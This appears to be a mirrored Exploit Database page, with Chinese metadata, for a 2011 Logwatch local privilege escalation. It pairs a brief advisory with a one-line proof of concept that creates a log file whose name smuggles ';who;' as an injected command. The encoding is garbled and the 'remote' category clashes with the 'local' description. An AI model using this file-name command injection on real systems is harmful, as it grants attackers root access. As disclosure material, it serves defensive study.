Logwatch Log File – Special Characters Privilege Escalation

• Exploit Database
• 44 阅读

• 作者： Dominik George
  日期： 2011-02-24
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/35386/

• source: https://www.securityfocus.com/bid/46554/info
  
  Logwatch is prone to a local privilege-escalation vulnerability.
  
  Local attackers can exploit this issue execute arbitrary code with superuser privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 
  
  % echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â??